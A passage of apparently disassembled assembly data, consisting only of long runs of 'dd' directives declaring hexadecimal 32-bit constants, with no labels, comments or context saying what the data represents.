5247BD26h, 15455116h, 0CB55C01h dd 879BD0DDh, 134E3599h, 0C39B1F54h, 0ACCCDAF7h, 6278FAC0h dd 9788E6Fh, 9CFDCE22h, 0DEBE4F5h, 9FA13FACh, 85F16452h dd 0BE50AF6Ch, 0C53F9A2Fh, 5F73C443h, 4B05E72Dh, 705629C1h dd 0C9EE5397h, 64707B5Bh, 0F50A8133h, 6652D51Dh, 0EF8EFDA6h dd 4C8D221Fh, 0AAF296E4h, 0E88B8421h, 0AEA35574h, 1F5A7555h dd 0F2AB7BBh, 0CCCCA96h, 0F58372h, 26667968h, 843A3076h dd 75F789B6h, 0E32827AEh, 21FAF3C3h, 61D0FCA5h, 45ADFC82h dd 0EE3CEB7Bh, 0D2113192h, 0DFB0765Ah, 0B69D318Dh, 474754B3h dd 0BCB846DDh, 0B3B6CA67h, 17D4EBA4h, 8124CD24h, 0CB35EBE8h dd 0F3410CBFh, 1E87C1Dh, 0DAD9514Eh, 0DF31DF77h, 45956FC1h dd 817B8D5Fh, 0B23A36D3h, 65494EEAh, 0BF6697C4h, 0F9A98645h dd 0C9E6CCB0h, 0E56DF776h, 57A70E48h, 1B28BE48h, 3E5EB1F1h dd 0A2191D0Fh, 5331ECDDh, 0D0B19571h, 4E27DD44h, 0BE3DBD0Dh dd 0D259D465h, 7FDE5E08h, 1E3CA984h, 0E951BE0Bh, 47A4DAE9h dd 0DBB57E90h, 10B26A23h, 20BEDEB9h, 1D0C161Bh, 0DC0B7E35h dd 13B93BABh, 2AA15B8Ah, 0FF475762h, 8D128B4Bh, 0AD668F60h dd 0BEE362BDh, 2B1C7769h, 1E319BC5h, 0BD882C67h, 0B35F9BA5h dd 939A3469h, 0BC0EF542h, 90933747h, 0FF920937h, 80544C97h dd 0FB037F70h, 0D1E28880h, 0E9E7D6FAh, 9F97183Bh, 6DF05ABDh dd 0A029348Fh, 0CE43C427h, 24B337ACh, 89A6B1ACh, 0C5468747h dd 1E6A769Ch, 5074046Ah, 49936298h, 6501F7A6h, 0F91008CEh dd 0FD55A664h, 99BB77F8h, 4ABF1666h, 0BD5CB058h, 95F790BFh dd 327149B3h, 0CAAFC20Dh, 521676E9h, 55E3F76h, 5B11C070h dd 77C05B43h, 0F9D27A7h, 81FBA06Ah, 0C3AA33C2h, 99B325FAh dd 2D57406Ch, 0B5D83479h, 8709156Ah, 12D95E27h, 3E554889h dd 38888EEAh, 35657741h, 94981728h, 40D1CC53h, 0D5A22493h dd 0A8B1A4CBh, 5FEAB0B0h, 0D0783553h, 6B6D95DAh, 0FE65B949h dd 7B3687A5h, 0E93B5478h, 3EECC7AEh, 0D77E8A16h, 0FCDB6702h dd 0E69E30B7h, 8666CDDDh, 86109B9Bh, 0D93625CFh, 3040DF46h dd 3CB8909Bh, 322A1378h, 0EBF2D844h, 0DE214833h, 10A32084h dd 849C6258h, 0CF2F11D5h, 736A4Fh, 2CEC72EDh, 0ECAAC7ACh dd 6CE99334h, 183A452Ah, 1E4C41A4h, 74F2C241h, 3CDD664Ah dd 0ADF9318Bh, 0B5AD5D2Eh, 180666A8h, 0A9E8F070h, 2ACBAB63h dd 84BFD9AEh, 2EF2941Eh, 9041FAA8h, 8861832Bh, 9D67D2E8h dd 0F5EA472Ah, 4FE29A5Dh, 0BF21A1D2h, 50815149h, 0BEA6ECB4h dd 4DB24CAAh, 4FCA1E64h, 87E8424Ah, 2660E534h, 0E35E6B6Bh dd 921C9D05h, 0DA6B76CBh, 7B1435AEh, 0A1227095h, 4F1BD830h dd 3A25A05Bh, 1D646E51h, 0E60587B3h, 2B40318h, 43616A6Fh dd 496FD205h, 0E6696FE9h, 0D75478FFh, 0F22981A6h, 87C315AAh dd 979A8758h, 1C33D398h, 0CEAC6EBEh, 0F2EA017Dh, 0D232ABD3h dd 0E72EAD91h, 0C522C4FBh, 56A0278Bh, 0D868DC8Eh, 71F2B822h dd 53A1D378h, 30F5514Dh, 8D28E113h, 0A53CDAE8h, 83D288EFh dd 93F14BB8h, 0A711C65Ch, 0AFCEBD4Fh, 0BC6B7B35h, 45726192h dd 5E18FCA0h, 573C7997h, 2DFB9E0Ch, 637BBD7Bh, 3EFD1487h dd 9A03ACBh, 0E6C52CD8h, 5E83C977h, 0F8F01CAEh, 0AF37FE91h dd 0D3275252h, 1F213C19h, 8888647Dh, 368AC68Bh, 0A97E761Fh dd 61D89BFAh, 830A3F1Eh, 0A1A2279Eh, 0BCFF157Eh, 0B44F49A4h dd 991C6B42h, 7C168310h, 7D7F6834h, 8CDB368Dh, 71FCA0B8h dd 1A92ABA6h, 982B4660h, 0A5C006EAh, 0BF46CA83h, 0B712A284h dd 9DBFE65Fh, 1FDF278Ah, 932DF398h, 0AE94F1BCh, 26C1C74Eh dd 3017A020h, 85EB1576h, 0FFC2137Bh, 319126F3h, 624C0A79h dd 0FBDFC736h, 11C664F1h, 0EA0E26A4h, 0CC7D09F1h, 0A81A6FD2h dd 13CF9494h, 0F295EA28h, 0BF1F1D9Bh, 0E6DCE019h, 1F7EFC51h dd 24D41FDCh, 354C77CDh, 5A180F5Ah, 181FE1C1h, 6F2E69EEh dd 0CD2145F8h, 0C25731E2h, 4E054FF7h, 166663EFh, 56A1701Dh dd 0D01F965Eh, 0F9E9946Fh, 0E2E8309Dh, 0D0E26F56h, 369E3227h dd 0DB9453C5h, 0D8689668h, 0BF3FD85Fh, 19920041h, 0D01D8A70h dd 0EC597531h, 937882A3h, 0F699320Ah, 0ADFA483Fh, 7E43596Fh dd 7797A791h, 0CFD65BD6h, 230D4FCAh, 0B50C6901h, 0D2A9956Dh dd 0B8DFEB0h, 0E97C5003h, 0C4C6CE7Eh, 19A08886h, 990D5217h dd 7DB78252h, 546C5359h, 3902556Ah, 0A88B2733h, 540DC7F6h dd 0A0B3116Ah, 17FEE6F8h, 11C7AB46h, 46A6BDAh, 274F0AA4h dd 0E5DAAD44h, 7B687608h, 58C12BE7h, 0BB0AC51h, 0E2D1DF0h dd 0E52456EEh, 0ECFE809Bh, 34F29631h, 0A1DFF5Ah, 0BF6D5EF1h dd 973987DCh, 62170CC9h, 46931DCAh, 35D619DCh, 48F84952h dd 620AF09Ch, 0D8EF7D5Bh, 407BBB1Dh, 411F451Ah, 8C8A7F66h dd 992C44D5h, 0FF3437D0h, 0F5F590ACh, 0B03F8040h, 9C1A598Eh dd 1BEE0413h, 7638B20Eh, 0BA863F15h, 0EE821BB0h, 619F09EAh dd 92A485A4h, 55A7373Fh, 0DDDA8D77h, 0B865B336h, 64C66454h dd 7A7D7261h, 3DC5306Fh dd 527F6EABh, 0C59AA033h, 933F65D4h, 9D753981h, 0ED73194Bh dd 6459889Dh, 0E8867482h, 781CB8F9h, 0BAF991E1h, 79359955h dd 91017FB0h, 857E9CC9h, 85DAAB1Ch, 9B4B4000h, 0FA45CAEAh dd 9C7EFE08h, 0BC8A9954h, 17EBB8D8h, 8E02B7B5h, 0C779072Eh dd 257A5BB2h, 7756E6DEh, 0B5B8C766h, 0FFCE3296h, 22FAC9DDh dd 0EAC59F41h, 514F3429h, 0E2828BB0h, 0AAE602AFh, 1306753Dh dd 6E01296Bh, 7997D055h, 0E258351Ch, 7057F2Dh, 23588A6Eh dd 48437B35h, 68DA95B1h, 3B18F5CEh, 7820AD59h, 0EDDD03B7h dd 0F6868Ch, 13B1429Dh, 0D298E187h, 4F5EC35Ch, 437ADA86h dd 13BE0D52h, 26853F7Eh, 0C3514123h, 0E408BAD2h, 8FB596B1h dd 0BD4BDA9Fh, 11C54EE4h, 0D4349BD4h, 6FF35C32h, 49C51D22h dd 0C3A15F8Eh, 12C9E82h, 5D3FD430h, 7C6765BCh, 139D520Ah dd 233828BDh, 0FCE25EE0h, 0A014814Eh, 0E1B102A5h, 0D6391031h dd 4017C65Bh, 0A89223Eh, 89BFD1EDh, 56D1945Dh, 0C5679437h dd 0AD35BA0Bh, 0FCE9C261h, 1F495E38h, 0A7F9E345h, 0BEBA1006h dd 0AAD27F37h, 0DFB604F1h, 0AACBA891h, 0C922185Dh, 0B5ED22F7h dd 1304E167h, 58DC82DAh, 4F237032h, 5BDA6630h, 5A328F9Eh dd 4DB52A99h, 816406EDh, 1EF01E62h, 0DC0D9118h, 9031D50h dd 29B6C830h, 0DFF93817h, 56FA126Dh, 528F900Eh, 20383A44h dd 51CA0F71h, 0D064B8CFh, 66B69823h, 949C4C90h, 0C714E9D5h dd 4A269933h, 6E8A983Dh, 0A6E069C7h, 26D07A2Dh, 40BAA663h dd 88134AE0h, 5560EED8h, 73301A25h, 825D2680h, 4DEBECFDh dd 0D730F4AFh, 7F4AD716h, 6CD39514h, 392F03h, 450B3D20h dd 0EECF8979h, 175308ABh, 4E798BDFh, 2C21AD6Ch, 0CF674031h dd 90ABA577h, 9B7086BFh, 55E5B3C1h, 43FC6EF3h, 0EE2AD368h dd 0E49A4B61h, 7D30CBEDh, 41D2FA15h, 957D5C21h, 59206563h dd 53DD023h, 0F8BE0B76h, 9E5B0008h, 0D13C65Ah, 0D405D877h dd 647B5C3Ch, 49740932h, 7F4CF2DFh, 934BADE9h, 23D4524Dh dd 94655BC9h, 0BFD53E74h, 30819ABAh, 0F7DEE1C5h, 819DACE8h dd 0CB601084h, 7D5829BAh, 36C1BC22h, 7EE7F4BCh, 4C1EBCA2h dd 72360796h, 0D46372D5h, 0EBD8B9F2h, 3261624Bh, 655E679Fh dd 213E560Ch, 5A5A4904h, 0E90B819Dh, 0BC1BB20Dh, 6AB87F7Ah dd 83CED60Ch, 94672227h, 97B76D5Dh, 0EA6D89E9h, 0AE5D675Fh dd 0EF5C39BDh, 61688126h, 8D2A6D32h, 0B9F2096Ah, 92BF31F2h dd 3205A039h, 995EDE5h, 0E45B2055h, 6F355FA5h, 75890D60h dd 782BBD36h, 6981BB0Eh, 9CD65BD5h, 796529E8h, 88A57A8Fh dd 1666F3CBh, 0A9D263EEh, 3015FAF1h, 5D55AD43h, 1EF90C63h dd 6C794B3Eh, 0BE72D963h, 0AC262BA3h, 99923D85h, 604FD6E5h dd 91B5252Bh, 10728CFh, 992CB142h, 4BC14A5Ch, 82FC2D16h dd 19846650h, 0AEF3C148h, 9A9C59A9h, 7E444B4Fh, 4F4F4A90h dd 4758F248h, 0AD70A2ADh, 8EFD40FDh, 0C9BA7CBCh, 4A168EDCh dd 6347DC64h, 8507479Ch, 91EC88ECh, 5A8597A2h, 53255BC7h dd 0A7B8352Ah, 4260D350h, 6983D762h, 6227A9B8h, 3E4A06F8h dd 4ABA5085h, 5A63D7B2h, 5259AC6h, 0EC707893h, 0AAEDE794h dd 1BF86F4Eh, 19362CCh, 0EE2F1E12h, 79E5A828h, 0E998B168h dd 62FAA764h, 0A5FF5C8Bh, 28886640h, 7822640h, 9EEB67FDh dd 38D3BB59h, 55B7C07Fh, 2FF5A89h, 9D2ADA86h, 1C4221EDh dd 6CB4D060h, 0A7DEB0AAh, 5B5B69AAh, 0F1B68DEFh, 0FDCFB80Dh dd 0E46EA29Ah, 1103EA82h, 0BD3AA55Dh, 656F18Bh, 0DBB14451h dd 81EAB4C5h, 2AC3F2DFh, 6EDA2D57h, 5B163B14h, 703325h dd 0A5AB3854h, 3C8D0D0Bh, 4F3D290Ch, 127C9679h, 0B63EB15h dd 0EF8162AEh, 92F8FE85h, 3E6E913Ch, 0C2A58080h, 3765A89Ah dd 0C7978CFDh, 5922D386h, 0B4B0631Ch, 3F55615Ch, 66D6EAF3h dd 0F4CACA67h, 9ABE509Dh, 312583Fh, 65A99ECDh, 6F68F0BCh dd 6E8050E6h, 3FBE0A54h, 3E037859h, 67A248A4h, 0C2399DCDh dd 6CF84EB9h, 0E8FA665h, 5A9754DCh, 63557D68h, 676174C8h dd 0E20BBA4Eh, 46E83F3Dh, 0BF619471h, 0A54992F3h, 0C0C23CE9h dd 0ACAECDFEh, 0EE007F95h, 2FA909E8h, 311865A0h, 0A94D7EE3h dd 17A86C10h, 7117BFCFh, 0A9DAF75Ah, 0F903C11Ah, 17739C42h dd 0E6BC75CFh, 0D3EE8925h, 53B2A535h, 80A48D16h, 0F2F4817Ah dd 340822BEh, 0B9C1E57Fh, 949BF38Dh, 7ADD68EEh, 0C759757Fh dd 19EC2E29h, 65396D2h, 0AE4755C9h, 22D3434Eh, 0E3F42B7Eh dd 7FD9F0CAh, 1D7C5873h, 40266621h, 48783B99h, 155EA568h dd 3B8BB692h, 0DDB05943h, 0E231CBD9h, 0FE4EBF16h, 38F5A24h dd 6BF6C610h, 9DC69F54h, 76447621h, 964C94Ah, 6D040EBFh dd 0C49BC94Bh, 47D6FD11h, 0E28B15BEh, 3B4FCFC3h, 23C96631h dd 5260D26Ah, 0FB85E534h, 4B5BE94Ah, 0E74D3415h, 8DD4E1AAh dd 8802B056h, 156F4B67h, 180C7E4Bh, 9884FF1Eh, 85C098FEh dd 0E93E41C8h, 0F8CC0099h, 275B6D36h, 272AE830h, 505E29FFh dd 30F14D00h, 3CAE0777h, 98C88A03h, 9E5F731Dh, 49F651B9h dd 0CEE7449Fh, 0F62168C1h, 0B38DD30Fh, 0F1DA219h, 0B82DCEDFh dd 77A4B295h, 0A04CB31Eh, 0BA139F39h, 385C776Ch, 0EA804C8Dh dd 0FC032428h, 0BBA30508h, 4D58EFD3h, 0D4BF5978h, 537E7DF2h dd 0A32DB39Ah, 0E525B428h, 4C6A7DAEh, 8FA9AD04h, 19D53DD7h dd 28BE66EDh, 498D88A8h, 6657EAF9h, 12FF800Ah, 0D7EF689Fh dd 915C3F21h, 0DBEBC9BEh, 3057FDB9h, 909A83Ah, 6B908A3Fh dd 23647D7Dh, 16752080h, 367A4240h, 6A5EAD0Dh, 6C588AF9h dd 0CA9DF691h, 79D001E0h, 131DC369h, 9254C6DFh, 0E9945C44h dd 0E5D5003h, 7DD72048h, 5A48B74Bh, 0FBDC4F03h, 6D60E6AEh dd 54FC9D67h, 0C9C1FB28h, 0A879A1C7h, 999D96D1h, 0F0ECCF9Ch dd 2474BAFCh, 90F29872h, 63F2D9E1h, 88CE04CCh, 0F948180Dh dd 75715D39h, 0AC56CDE1h, 9625ED2Fh, 993B4CC7h, 79AAD6A0h dd 44FFF1AEh, 4F59176Dh, 0E1F383D9h, 0D4C322D9h, 33A5EB3Fh dd 362AF724h, 2C756B58h, 0F0D4655Fh, 0B578BEA9h, 12F31EF0h dd 51ABA7A3h, 0B8FC828Eh, 0BE9A3590h, 1B43B373h, 0E33B723Ch dd 646EBAE7h, 190E1A47h, 0D88D033Bh, 92B71561h, 0D093413Ah dd 0CD02087Bh, 0D5D48E29h, 23A70A8Fh, 7ECB31BFh, 17AD4B28h dd 0DEDE4416h, 0A805EB20h, 7666B17h, 2CA398E9h, 0C9D99BA9h dd 98368253h, 0E23038Eh, 0C05E9C64h, 7C8EBFA8h, 0BD3DF298h dd 1457A0E8h, 97168FCDh, 1D859356h, 0F3711274h, 6517E087h dd 247FDBFh, 70B4F12h, 0A66A9D44h, 42262B17h, 0E2DD66D5h dd 76EB45B9h, 5F01AA6Fh, 8EE04E13h, 0E1F443C2h, 7AAE4DB8h dd 74E67B31h, 7A73C96Bh, 9046F6AAh, 9BBC56A4h, 717871FFh dd 0CEBCC151h, 384589EFh, 0E3B61AF6h, 700CD07h, 27398B6Dh dd 398B111Dh, 0CC8E6C69h, 735A35A3h, 0B532CBE6h, 561BB147h dd 36683890h, 16AD71EAh, 0AB56D0F3h, 3AEBA8FAh, 7649656Fh dd 498B346Fh, 70494C81h, 0BFCB95E1h, 1EFBD478h, 737DA432h dd 0E2C960E9h, 2D619100h, 0FC23A96Dh, 0AE087199h, 7F601ACh dd 0B090B68Ah, 0E7E8FC59h, 91A30DFCh, 78614EA9h, 0EB916356h dd 9BF31B4Dh, 0E635B708h, 4888DE92h, 6E0FA8CDh, 2F0F5054h dd 1A2896CAh, 0B9042AC9h, 74A374DEh, 928635E9h, 3B9E40E4h dd 0D59464E3h, 28898166h, 355A74Bh, 0D5B00FB3h, 0CBCE0727h dd 0AA0C34AEh, 0BD3869D1h dd 2C250644h, 8E714C83h, 0D43192DCh, 4F9440EBh, 0E9FFD760h dd 1C80F90Eh, 0A5FD31AEh, 98178EABh, 0F040603Eh, 0E13B345Dh dd 51071B2Eh, 7B45CF32h, 52A771C7h, 9D54B1B3h, 584C72B8h dd 1F0F230Ah, 6AC21B38h, 57F8B10Fh, 1B69FF21h, 2734C99Ah dd 818AAFE8h, 1CFB30FEh, 43C4D063h, 0E1EEC014h, 642F40CEh dd 74BD40A2h, 4D005D60h, 573E3BB4h, 89149290h, 0F3A09A2Bh dd 0E816FBB9h, 5B01297h, 11514898h, 9C2E9076h, 15594F6Bh dd 62C80161h, 27F9DC00h, 16BBB5E7h, 3B3531Bh, 2B73FD6Bh dd 800613FBh, 1EA42A8Fh, 4C0B3EEDh, 17AD2C66h, 0C683210Ah dd 120CA083h, 1F486DB3h, 0B3606590h, 0A82243E2h, 0C1AEDFC8h dd 9D5E906Dh, 8D89F834h, 96502C1Fh, 9B14910Eh, 18D3735Ch dd 99927A48h, 2E936FE9h, 5A3DCB40h, 39147D27h, 23B3168Eh dd 0ED143083h, 0AE4EDB84h, 0A14245AFh, 4AAE3036h, 0CA243B30h dd 0E3D4A0E7h, 6EADDDD7h, 5351E406h, 685F9198h, 0B8DC6360h dd 0A8350B49h, 1E67EAB9h, 0C2065907h, 7C822B9Ch, 0FAFFBA65h dd 0B9603CF5h, 3A798B36h, 0D3EE45B1h, 778D6BEAh, 4F3B5E2Ch dd 7910A5D4h, 615E9A6Ch, 9998A436h, 5FFFE18Dh, 486F60A5h dd 30AFC51h, 84BCF096h, 0FD95EFEh, 0E1E9D13h, 0D50EA5CDh dd 0A47B527Bh, 0FDA045CDh, 0B8A60406h, 4D13E68h, 206B5766h dd 6B29B37h, 81BA7732h, 5E9C616Ch, 0D3CDBDA7h, 2FF6363Fh dd 6AA3574Fh, 8F17E9FAh, 4B4C5F07h, 0BFBA4570h, 1F1F7860h dd 0B27E5EE3h, 9741B1B4h, 30F41F2Ah, 14E6129Ah, 904943CAh dd 41D565A8h, 912C85ECh, 5C9DB77Bh, 6975860Eh, 0DC913FDh dd 0B6382168h, 0FD3077D7h, 8B3D97CAh, 387545E9h, 2725E230h dd 46766A49h, 59F41F86h, 28E37C36h, 7FF9A7A7h, 390FECCCh dd 3559A672h, 138A8A5Dh, 0D20A4B60h, 9309EB87h, 0D1C206A4h dd 3CA80ECh, 55E1F510h, 766F8DD7h, 9ADBD99Eh, 5DCADAFEh dd 0E2AEEB1Dh, 0C059F73Ch, 0DF58159Fh, 5FF1FBA7h, 0EFD8B555h dd 8629686Fh, 8C053F65h, 0CA94A0B4h, 638C4A59h, 59985049h dd 0D35C6AEEh, 508F09DDh, 28EE2ED6h, 0D05EBB1h, 3B5DFD71h dd 0E733DC43h, 4CCD234Fh, 0D646897Dh, 53057251h, 1DC89647h dd 0D745B431h, 0C31D41F5h, 0AC597CF5h, 0B1D7EE70h, 2DB9F37h dd 921E742Eh, 0A1BED2CCh, 9B97F8D6h, 78459BFDh, 0A4EB9EE6h dd 5C27AC5Dh, 0B7AE2Fh, 0A9DE5BFBh, 6244CD6Ch, 3499A6F3h dd 64460573h, 159047Bh, 877B6295h, 0D8CF45C0h, 29D25472h dd 28CD8EBh, 0FEC2A6EDh, 0CAAE9590h, 0FFBCB68Dh, 0D5BC0241h dd 0C7698B5Ah, 9BFC9AACh, 45EA89D8h, 0EC4FB8DBh, 65432114h dd 0A886B988h, 6C586ED5h, 0BA33B19Fh, 69D65A16h, 0F940BC4Ch dd 54BA5FF2h, 784B0869h, 0A7799BB1h, 5A55B711h, 0B0B6E819h dd 606D1704h, 0CCEC4E5Eh, 1948709Bh, 0C18CA19Fh, 0C7558515h dd 0F4B015A2h, 195D98C8h, 0F83BA132h, 21A390B4h, 0F1AC1A6Eh dd 0D0B00D67h, 2A0EE2BAh, 0F1C1E96Fh, 594FC203h, 832221BEh dd 4C7FC3BAh, 0AB6DB5F3h, 0D4DBE5C4h, 1FC2E7C2h, 5B595127h dd 7CAD8AD7h, 0D4459BFEh, 360E73E9h, 0C412F373h, 1E618BDAh dd 0C0ACDEBDh, 0F05986F0h, 0FC03EDAEh, 6A36130Eh, 499BB8EBh dd 0F12B8407h, 0B953C185h, 0F46993C9h, 0DFE101B3h, 4CEDDFD3h dd 0EAE6C95Ch, 0C70CAB8Ch, 363C5326h, 28F06072h, 0FBD04B57h dd 0C86E1702h, 3A5B0015h, 64A59E26h, 8E82742Eh, 64479CD3h dd 50D8DD5Bh, 0C83966CCh, 9B8F4670h, 0C6BB9660h, 0A7BFA65Bh dd 2780F9Ah, 595C84D4h, 2F884B14h, 114176C8h, 873DB710h dd 0D0D4A8Eh, 10BF2867h, 0AFF617Fh, 76CECA9Bh, 0DD1B91AEh dd 11E0E2FDh, 0D096A245h, 1C73FDEBh, 0FD979Dh, 23BBAC08h dd 387CEC63h, 0B8BEDF24h, 0CCDA0339h, 0C1B96883h, 13D89163h dd 0FF3F61A5h, 0DC73B973h, 0C33BE78Ah, 0BBA0A8Fh, 4AE514E3h dd 4BB6511Ah, 12A20E8Ch, 0BD825318h, 0D23E9964h, 0A0EA82BFh dd 82FF567Bh, 0BFEA8E99h, 0EBC4E1Ah, 0A11ADA07h, 0E2E62312h dd 1174CD50h, 36235638h, 7163AE48h, 0FC16B1F9h, 0A90A7C67h dd 750D4EEDh, 6549C117h, 191957EDh, 0B7BA3602h, 31BFACE6h dd 8554E96Ch, 402281DEh, 0FF3095F5h, 4393A1C1h, 438A53AEh dd 0E55193B3h, 0D5E8856Dh, 1656E5BBh, 7985A92Fh, 98ABB30h dd 1D9A9A4Ah, 69005E39h, 759402E9h, 7B11AEEBh, 0DF080F05h dd 0D7A03EA7h, 8D81615Fh, 0C736A21Ah, 3FCBA8A9h, 6168726Fh dd 0A5CB7C2Ah, 2B371EB0h, 32A475Bh, 3816D99Eh, 0C8FA34A9h dd 9AE163A0h, 3B2AF814h, 1F03FAEh, 0B7DEA235h, 28BFA9A5h dd 0DDCFB1BBh, 4D6E72E0h, 6066E1C9h, 359B4D3Eh, 4119F6BFh dd 0B0A46E77h, 0CD5B8FB7h, 2DCF5D91h, 0CC48826Ah, 4B00F2A6h dd 777C510Eh, 3197F811h, 56F3A37Fh, 437EEDE0h, 20AB9EDFh dd 0A9666E7Dh, 0BA790DFDh, 0F7045335h, 6103854Dh, 0CBF888D4h dd 918359F5h, 0D441ED68h, 2ED252A3h, 6EC1B12Fh, 0F343910Eh dd 86811F36h, 6C8BD841h, 4C270AEEh, 340D151Ah, 0F988ABCBh dd 6542FA33h, 2152F327h, 0AC67426h, 17AC79EDh, 0C5FB744Ch dd 0CDE41D97h, 82F8163Ah, 71209015h, 30AF6CCDh, 0FFEA2F2Dh dd 0E5F6667Eh, 8C6E9008h, 0A255E2FBh, 28376C74h, 628091CBh dd 8772614Fh, 0A4A20E34h, 0CAACF630h, 141ECDF4h, 44286E17h dd 7B61BFCFh, 8131D460h, 0FC435566h, 8144362Ah, 0FFCED84h dd 77256E87h, 14DC8E7Fh, 37B6C87Bh, 0C5EF8E93h, 8DD082FBh dd 60764E04h, 15A865Eh, 0DD4D032Bh, 0FBEEAA3h, 35F23B9Eh dd 33DA96B7h, 5D6F01F6h, 0A8A6CF23h, 0FADB1F7h, 78A7A40Fh dd 0AE132DBCh, 0A70079Eh, 731C9326h, 0CB46EA6Bh, 41B9D32Bh dd 6363A5C1h, 433B22CAh, 0FA57BE21h, 0E8A37FD0h, 599CE33Ch dd 5A7033DCh, 0C80D42F0h, 0DE7F9364h, 2FBB4338h, 7673201Ch dd 8E78AA32h, 0BFFE876Ch, 4D106898h, 9D0C0F73h, 0E7A8C947h dd 0CF6AAC98h, 740D9F5Ch, 0F1A3E1D4h, 796FABDCh, 5BEC7A94h dd 0CE970CAFh, 5C85F6DDh, 0E68FEE1Ah, 73E5445Ah, 52B0F79Eh dd 7B944B29h, 0BDB74C5Dh, 3B72B606h, 40E93AF6h, 14A5F054h dd 1A48B073h, 0D2C1340Ah, 0E483B046h, 0DC9374Dh, 0D9D1F4FCh dd 576A2295h, 2A118A64h, 4E017DF3h, 6B6C11F0h, 1E8FFC89h dd 4120F83Fh, 0C00FC0CFh, 0CFD3CE91h, 2A7852F8h, 4C579C29h dd 0DEEF61B7h, 0E5B9C338h, 841FB7C7h, 0A555D88Fh, 0C31BCA91h dd 94533375h, 32C7DE3h, 9DE63F1h, 8342B1E2h, 43B26168h dd 21BDAADCh, 5F3B39FEh, 0D95B8151h, 6E33C43h, 0DF94CC62h dd 0D332651h, 976749A7h, 1E05F1B9h, 7335C3CDh, 0C8DA609h dd 6A855E5Dh, 2D33EE14h, 4111FAA7h, 60580A77h, 6BDECC6h dd 84709CFEh, 0B6666BE0h, 327D4971h, 4351532Ah, 2124EDF3h dd 932637B6h, 0A083E64Ah, 5E313C7Bh, 7231BA71h, 0FDB956E2h dd 6B7000C4h, 0F245C26Fh, 0B2B9B3C2h, 0D9570D91h, 65373DACh dd 36C0AD54h, 390EC8FFh, 0FE61FEEBh, 0CDD13FDh, 6A3237DCh dd 0DAC5A2A6h, 356C160Ah, 0FC037FFEh, 8F3F54C6h, 896C5334h dd 0ECA002B5h, 0E041A113h, 953DBC8Bh, 0D718AA3Eh, 2689CFDBh dd 7C2B9194h, 2A31A7D0h, 67ABC77Ch, 0D05E1D04h, 0D5CAD076h dd 52B3B99Fh, 0DD07D2F6h, 20AB5CBBh, 81F4ADFAh, 9358143Dh dd 0C7F1E455h, 0F7B559A0h, 0DD719DBEh, 79423579h, 57F00CEFh dd 0E9F89374h, 0CCAC5019h dd 0F0684758h, 6365B9B4h, 0F9F4DE61h, 0DD8065CDh, 6F32E50Fh dd 49EB4596h, 5B046857h, 279DE3Fh, 0FF2CF779h, 0F5A8AF6Dh dd 2B9B73F5h, 0B137C864h, 0D26345C6h, 0A47821EAh, 12D0BB28h dd 10A159FEh, 3634FE0h, 5C01B97Bh, 9DFFBEDh, 0E8BD4FF2h dd 4DFDE949h, 0D5595F78h, 0F2E9708Bh, 72E1D357h, 47948559h dd 0C800EF22h, 13B2E389h, 3FCEE00Ah, 5242BB8Ch, 40E34414h dd 0A232CC97h, 715F9A2Dh, 0B255082Ah, 7E55E796h, 0F2AF928Fh dd 0FF5AB871h, 52D4960Eh, 0B15EC105h, 0D1B5D4A6h, 0AD356C79h dd 0F97B4E1h, 5FC05D89h, 0EB7B69D0h, 2C9A5DAFh, 0D2520118h dd 0CF5E418h, 1D420A19h, 0DFCB576Ah, 0BF61A8C8h, 33C65772h dd 2B7B6060h, 0DA20C35h, 0AEA38458h, 8BE42ECFh, 6D10C10Eh dd 77BAD9C6h, 0ECD31A9Ch, 5BB99E3Ch, 21B29A02h, 0DE9766D9h dd 0E1F619E5h, 0D4F173D5h, 0AAFEA962h, 587BA6DCh, 64E3FA6Bh dd 0C6B5ACC0h, 0E46B3C17h, 0B8F519C6h, 0D8E22F53h, 0A9E4377Bh dd 0A28F93BEh, 0B765A7BEh, 0E66CADE1h, 918E042Eh, 0CAA21826h dd 5782CB3Fh, 4C84F90Fh, 5459C583h, 0A96FBD83h, 1206226Eh dd 0A1AAA4F2h, 7179EEDDh, 3AC547D4h, 3CEEB3D2h, 2946AF2Bh dd 8405EE18h, 742FC863h, 0FE333A33h, 2A90E57Eh, 28E4DEAAh dd 91BDC016h, 67C37F4Ah, 0B2AD2046h, 8954D0FAh, 0C4C47362h dd 7F1C744Ah, 0EC23CD33h, 2E67DBBFh, 656490BAh, 0AA97EAF1h dd 0FF55ECC4h, 6873FD47h, 91CBF8B8h, 838751BBh, 0C9D4EEBBh dd 51C40B20h, 869AA2D7h, 67848D0h, 8419E520h, 3351A3C2h dd 85A085DCh, 0CFEE1F8Fh, 3F4DC39Fh, 0FFD79861h, 6C667AA4h dd 0DCAAAD12h, 9C3E1CD3h, 5895Dh, 183B631Fh, 82B344DBh dd 5B266A1Fh, 46522D5Bh, 3A32D49Dh, 0D8C3C32h, 0EC2E8296h dd 0DD59F4Ch, 0C0962824h, 1B0B2E25h, 9410B54Fh, 6667B7D9h dd 30746F8Ch, 0D5089FBCh, 0A811C209h, 0BDF75FD2h, 0D74F11FDh dd 5315E686h, 9B9A16A7h, 949F21AAh, 0E6CE7F52h, 8BAC8460h dd 0EBB47632h, 0F213BCE8h, 26B846BFh, 5E16B854h, 0BE37821Bh dd 0FC43551Dh, 9946C303h, 0B2E36C5Ah, 0F763B9B7h, 0DCEA0861h dd 4B34C034h, 24DA29C1h, 2BCBE585h, 33E56068h, 0D832622Ah dd 0BDD3A253h, 6D9F393Fh, 0BC4F18D0h, 0FF6339B5h, 0EF7F0A5h dd 0B14B9BC5h, 8101A842h, 9A292014h, 98FF0677h, 0AA33BD3Ch dd 233A5BD5h, 0F5C7E42Ch, 40A4912Eh, 0E56583BDh, 8DDAA784h dd 0D6ECB01Bh, 35929043h, 7D7F3B3Fh, 0FA56A9C4h, 814FEC2Bh dd 0DD6FC20h, 4151A3CEh, 9E8010B2h, 17795D90h, 0C54B2FEAh dd 0AF6985F8h, 0C1F0F6E3h, 1526C4C3h, 0A89D98BBh, 6807C802h dd 0B076B424h, 0DD9AB415h, 0EAF778Ah, 4BEB9195h, 8736C70Eh dd 0CD173ACCh, 5BEB13F7h, 6026394Bh, 0E9B6CABFh, 0D94CA667h dd 5CCBC19Bh, 731C8C5Dh, 0D3485507h, 63437BCh, 13375CB0h dd 179C413Dh, 7E6C482Dh, 245252EEh, 0BDC9FC93h, 0C5BB1701h dd 24F5B665h, 359F8981h, 0BEA9BC3Eh, 0A43A10FFh, 0BAD8295Ch dd 5A8F41FEh, 0C44AC176h, 8D0CF557h, 0CDE72921h, 7598CCA7h dd 